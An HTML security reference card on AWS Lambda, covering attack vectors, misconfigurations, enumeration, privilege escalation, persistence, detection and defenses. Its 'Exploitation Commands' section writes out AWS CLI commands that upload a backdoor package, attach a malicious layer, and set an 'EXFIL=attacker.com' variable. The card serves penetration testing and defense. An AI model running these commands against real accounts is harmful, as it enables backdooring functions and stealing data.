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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS Lambda Security | AWS Security Cards</title>
<meta name="description" content="Lambda provides serverless function execution with execution roles controlling permissions. Over-privileged roles and secrets in environment variables are the primary attack vectors.">
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</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/lambda-card.webp" alt="AWS Lambda Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/lambda.svg" alt="AWS Lambda Security" /></div>
<div>
<div>
<span class="header-title">AWS Lambda Security</span>
<span class="header-badge">SERVERLESS</span>
</div>
<p class="header-desc">Lambda provides serverless function execution with execution roles controlling permissions. Over-privileged roles and secrets in environment variables are the primary attack vectors.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Regional</div>
<div class="stat-label">Scope</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">15 min</div>
<div class="stat-label">Max Timeout</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">Roles</div>
<div class="stat-label">Execution</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Execution Environment</h4>
<p>Lambda functions run in isolated containers with temporary credentials from the execution role. Environment variables, layers, and event data can all contain sensitive information.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Execution roles are often overly permissive with broad S3, DynamoDB, or Secrets Manager access</div>
</div>
<div>
<h4 style="color: #06b6d4;">Triggers & Access</h4>
<p>Functions can be triggered by API Gateway, S3, SQS, EventBridge, and more. Function URLs provide direct HTTP access without API Gateway.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Function URLs with NONE auth type are publicly accessible</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 75%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">7.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">Lambda functions with over-privileged execution roles can be abused for credential theft and privilege escalation. Secrets in environment variables and code injection via event data are common vulnerabilities.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Credential Theft</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Over-privileged execution roles</li><li><span class="bullet" style="color: #f87171;">•</span> Secrets in environment variables</li><li><span class="bullet" style="color: #f87171;">•</span> Steal credentials from context</li><li><span class="bullet" style="color: #f87171;">•</span> Function code with hardcoded keys</li><li><span class="bullet" style="color: #f87171;">•</span> Layer contains sensitive data</li></ul><h4 style="color: #f87171;">Code Exploitation</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Code injection via event data</li><li><span class="bullet" style="color: #f87171;">•</span> Dependency vulnerabilities</li><li><span class="bullet" style="color: #f87171;">•</span> Malicious layers</li><li><span class="bullet" style="color: #f87171;">•</span> Function URL without auth</li><li><span class="bullet" style="color: #f87171;">•</span> Deserialization attacks</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">IAM Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Execution role with * permissions</li><li><span class="bullet" style="color: #fb923c;">•</span> PassRole to any role</li><li><span class="bullet" style="color: #fb923c;">•</span> Cross-account invoke allowed</li><li><span class="bullet" style="color: #fb923c;">•</span> No resource-based policy</li><li><span class="bullet" style="color: #fb923c;">•</span> Unused high-privilege roles</li></ul><h4 style="color: #fb923c;">Security Settings</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Function URL auth type NONE</li><li><span class="bullet" style="color: #fb923c;">•</span> Secrets in plaintext env vars</li><li><span class="bullet" style="color: #fb923c;">•</span> Outdated runtime versions</li><li><span class="bullet" style="color: #fb923c;">•</span> No VPC configuration</li><li><span class="bullet" style="color: #fb923c;">•</span> Code signing not enforced</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List All Functions</div>
<pre><code>aws lambda list-functions</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Function Details</div>
<pre><code>aws lambda get-function \\
--function-name NAME</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Environment Variables</div>
<pre><code>aws lambda get-function-configuration \\
--function-name NAME</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Layers</div>
<pre><code>aws lambda list-layers</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Function Policy</div>
<pre><code>aws lambda get-policy --function-name NAME</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Function Abuse</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Invoke to steal role credentials</li><li><span class="bullet" style="color: #c084fc;">•</span> Modify function code for backdoor</li><li><span class="bullet" style="color: #c084fc;">•</span> Update configuration for exfil</li><li><span class="bullet" style="color: #c084fc;">•</span> Attach permissive layer</li><li><span class="bullet" style="color: #c084fc;">•</span> Create function with admin role</li></ul><h4 style="color: #c084fc;">Role Abuse</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> PassRole to Lambda + CreateFunction</li><li><span class="bullet" style="color: #c084fc;">•</span> Use execution role externally</li><li><span class="bullet" style="color: #c084fc;">•</span> Chain to higher privilege role</li><li><span class="bullet" style="color: #c084fc;">•</span> Access Secrets Manager</li><li><span class="bullet" style="color: #c084fc;">•</span> Read from privileged S3</li></ul><div class="note"><strong>Key insight:</strong> Lambda execution roles often have access to Secrets Manager, DynamoDB, and S3 with sensitive data.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Code Modification</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Update function code with backdoor</li><li><span class="bullet" style="color: #facc15;">•</span> Add malicious layer</li><li><span class="bullet" style="color: #facc15;">•</span> Modify environment variables</li><li><span class="bullet" style="color: #facc15;">•</span> Create new function version</li><li><span class="bullet" style="color: #facc15;">•</span> Update alias to backdoored version</li></ul><h4 style="color: #facc15;">Trigger-Based</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Create S3 trigger for exfil</li><li><span class="bullet" style="color: #facc15;">•</span> Add SQS event source mapping</li><li><span class="bullet" style="color: #facc15;">•</span> EventBridge scheduled execution</li><li><span class="bullet" style="color: #facc15;">•</span> API Gateway endpoint</li><li><span class="bullet" style="color: #facc15;">•</span> CloudWatch Events rule</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> UpdateFunctionCode</li><li><span class="bullet" style="color: #4ade80;">•</span> UpdateFunctionConfiguration</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateFunction</li><li><span class="bullet" style="color: #4ade80;">•</span> AddLayerVersionPermission</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateEventSourceMapping</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Function code changes without deploy</li><li><span class="bullet" style="color: #4ade80;">•</span> New layers attached</li><li><span class="bullet" style="color: #4ade80;">•</span> Unusual invocation patterns</li><li><span class="bullet" style="color: #4ade80;">•</span> External IP in VPC flow logs</li><li><span class="bullet" style="color: #4ade80;">•</span> Execution role used from odd IPs</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Invoke Function</div>
<pre><code>aws lambda invoke \\
--function-name NAME \\
--payload '{"cmd":"id"}' output.txt</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Update Function Code</div>
<pre><code>aws lambda update-function-code \\
--function-name NAME \\
--zip-file fileb://backdoor.zip</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Modify Environment Variables</div>
<pre><code>aws lambda update-function-configuration \\
--function-name NAME \\
--environment 'Variables={EXFIL=attacker.com}'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Add Malicious Layer</div>
<pre><code>aws lambda update-function-configuration \\
--function-name NAME \\
--layers arn:aws:lambda:REGION:ACCOUNT:layer:backdoor:1</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Function Code (Download)</div>
<pre><code>aws lambda get-function --function-name NAME \\
--query 'Code.Location' --output text | xargs curl -o code.zip</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Create Event Source Mapping</div>
<pre><code>aws lambda create-event-source-mapping \\
--function-name NAME \\
--event-source-arn arn:aws:sqs:REGION:ACCOUNT:queue</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full Access</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Function has FULL AWS access - complete account compromise</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Least Privilege</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::my-bucket/input/*"
}, {
"Effect": "Allow",
"Action": ["logs:CreateLogStream", "logs:PutLogEvents"],
"Resource": "arn:aws:logs:*:*:log-group:/aws/lambda/my-func:*"
}]
}</code></pre>
<p class="policy-desc">Only specific S3 read and CloudWatch Logs access</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - PassRole</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Can pass any role to any service - privilege escalation</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Resource Policy</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:role/APIGatewayRole"},
"Action": "lambda:InvokeFunction",
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:my-func"
}]
}</code></pre>
<p class="policy-desc">Only specific API Gateway role can invoke the function</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Least Privilege Roles</h4>
<p>Scope permissions to exact resources and actions needed.</p>
<pre><code>"Resource": "arn:aws:s3:::my-bucket/prefix/*"</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Use Secrets Manager</h4>
<p>Never store secrets in environment variables.</p>
<pre><code>aws secretsmanager get-secret-value \\
--secret-id my-api-key</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Function URL IAM Auth</h4>
<p>Require IAM authentication for function URLs.</p>
<pre><code>--auth-type AWS_IAM (not NONE)</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Resource Policies</h4>
<p>Restrict who can invoke the function.</p>
<pre><code>"Principal": {"AWS": "arn:aws:iam::ACCOUNT:role/AllowedRole"}</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🌐</span>
<div>
<h4>VPC Isolation</h4>
<p>Run functions in private VPC subnets when possible.</p>
<pre><code>--vpc-config SubnetIds=subnet-xxx,\\
SecurityGroupIds=sg-xxx</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔍</span>
<div>
<h4>Code Signing</h4>
<p>Only allow signed code packages to be deployed.</p>
<pre><code>aws lambda create-code-signing-config \\
--allowed-publishers SigningProfileVersionArns=...</code></pre>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS Lambda Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>